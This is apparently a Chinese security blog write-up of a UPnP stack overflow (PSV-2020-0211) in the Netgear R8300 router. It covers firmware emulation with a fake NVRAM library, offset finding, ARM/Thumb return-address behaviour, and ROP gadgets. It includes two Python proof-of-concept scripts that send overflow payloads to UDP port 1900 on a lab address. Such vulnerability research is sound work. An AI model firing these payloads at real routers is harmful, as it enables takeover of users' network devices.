标签：R8300 PC 0211 nvram Netgear upnp 漏洞

PSV-2020-0211-Netgear-R8300-UPnP栈溢出漏洞分析

系统级模拟启动

这个路由器的使用的upnpd来开放服务，执行/usr/sbin/upnpd后没有反应，使用ida看一下发现没有/var/run这个目录，那就创建一个mkdir -p /tmp/var/run (为什么是 tmp 下的是因为 /var/run 是软连接到 /tmp/var/run )

在执行上面的命令就会出现下面报错，

NVRAM是用于存储路由器的配置信息的，而程序在运行时需要读取配置信息，但由于我们是qemu仿真模拟的，缺少对应的外设因此会产生报错，常见的方法是LD_PRELOAD(LD_PRELOAD 是 Linux 系统的一个环境变量，它允许运行程序时优先强制加载指定的动态链接库)去劫持与NVRAM读写相关的的函数，可以使用 Firmadyne 框架提供的 libnvram

命令是LD_PRELOAD=./firmadyne/libnvram.so.armel ./usr/sbin/upnpd

我这里是直接从网上找的模仿的NVRAM的库 raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c

执行armv5l-gcc -Wall -fPIC -shared nvram.c -o nvram.so命令(这里需要注意的是arm-linux-gcc是低版本的交叉编译环境，使用apt-get默认安装的是最新版本的，指定版本的安装的方法参考然后用uclibc编译这个库，工具可以直接在uclibc官网下到：cross-compiler-armv5l.tar.bz2 这个编译器好像依赖一些东西

Ubuntu 18.04安装arm-linux-gcc交叉编译器（超简单，附安装包下载地址）_arm-linux-gcc-5.4.0.tar.gz 官网下载-CSDN博客)

高版本ubuntu安装32位运行库 - 苦衷乐 - 博客园 (cnblogs.com)

在执行LD_PRELOAD=/nvram.so ./usr/sbin/upnpd

出现下面报错，找不到dlsym这个符号

使用为这个库中同时hook了system,fopen,open这三个函数

下面就是找一下那个动态库中有这个函数并将这个库使用LD_PRELOAD链接一下，还有一个方法就是修改一下上面的nvram.c文件让其不使用dlsym

发现无法打开/tmp/nvram.ini那是因为没有这个文件，创建一个就行了

然后再执行上面的命令就行了，但是发现下面有许多日志是空的，这就导致我们的服务还是无法成功启动

下面就需要我们去补全日志信息了，我是在网上找的一个配置信息将它写入/tmp/nvram.ini中

upnpd_debug_level=9
lan_ipaddr=192.168.195.153
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF

LD_PRELOAD="/nvram.so /lib/libdl.so.0 " /usr/sbin/upnpd 然后就可以将这个服务开启

漏洞分析

漏洞比较简单就是栈溢出

在 main 中调用 sub_1D020

在 sub_1D020 中调用

造成溢出

寻找偏移（第一次调试有关 arm 架构的，不知道怎么找返回地址，调试才发现它是通过 pop 来完成的，列如 POP {R4-R11,PC}）,偏移是 0x630

但是调试发现它在 sub_B60C 函数中报错了

import socket
import struct
from tools import*  #这个是zikh26写的，用pwn也一样
#p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("start!!!!!!!!!!!!")
payload =b'a'*0x630+b'cccc'
#print(payload)
s.connect(('192.168.195.153', 1900))
s.send(payload)
s.close()

找到报错原因

正常情况下是

计算一下发现是在 0x604 这个位置

此时可以控制返回地址，至于末位由1变为了0，原因总之来说为：

原因总之来说为：
1.首先溢出覆盖了非叶函数的返回地址。一旦这个函数执行它的结束语来恢复保存的值，保存的LR就被弹出到PC中返回给调用者。
2.其次关于最低有效位的一个注意事项：BX指令将加载到PC的地址的LSB复制到CPSR寄存器的T状态位，CPSR寄存器在ARM和Thumb模式之间切换：ARM（LSB=0）/Thumb（LSB=1）。
我们可以看到R8300是运行在THUMB状态：
当处理器处于ARM状态时，每条ARM指令为4个字节，所以PC寄存器的值为当前指令地址 + 8字节
当处理器处于Thumb状态时，每条Thumb指令为2字节，所以PC寄存器的值为当前指令地址 + 4字节
因此保存的LR（用0x43434343覆盖）被弹出到PC中，然后弹出地址的LSB被写入CPSR寄存器T位（位5），最后PC本身的LSB被设置为0，从而产生0x43434342

但是这条指令其实不是bx指令，但是因为精简指令集地址四字节对齐的缘故，地址要被4能够整除那么末两个字节必须都为0，所以会变为0x42

来自Netgear R8300栈溢出漏洞分析 - SecPulse.COM | 安全脉搏

#!/usr/bin/python3

import socket
import struct
from tools import*
#p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("start!!!!!!!!!!!!")
payload =b'a'*0x604+p32(0x7ee0fc64)+b'a'*0x28+b'cccc'
#print(payload)
s.connect(('192.168.195.153', 1900))
s.send(payload)
s.close()

漏洞利用

整个漏洞利用布局

首先调整当前栈为第一次输入的地址上

.text:00013334 02 DB 8D E2                   ADD             SP, SP, #0x800
.text:00013338 70 80 BD E8                   POP             {R4-R6,PC}

在跳到 0xb764 将 ls 拷贝到 0x970a0

.text:0000B764 04 00 A0 E1                   MOV             R0, R4       ; dest
.text:0000B768 0D 10 A0 E1                   MOV             R1, SP       ; src
.text:0000B76C DE FE FF EB                   BL              strcpy
.text:0000B770 01 DB 8D E2                   ADD             SP, SP, #0x400
.text:0000B774 70 80 BD E8                   POP             {R4-R6,PC}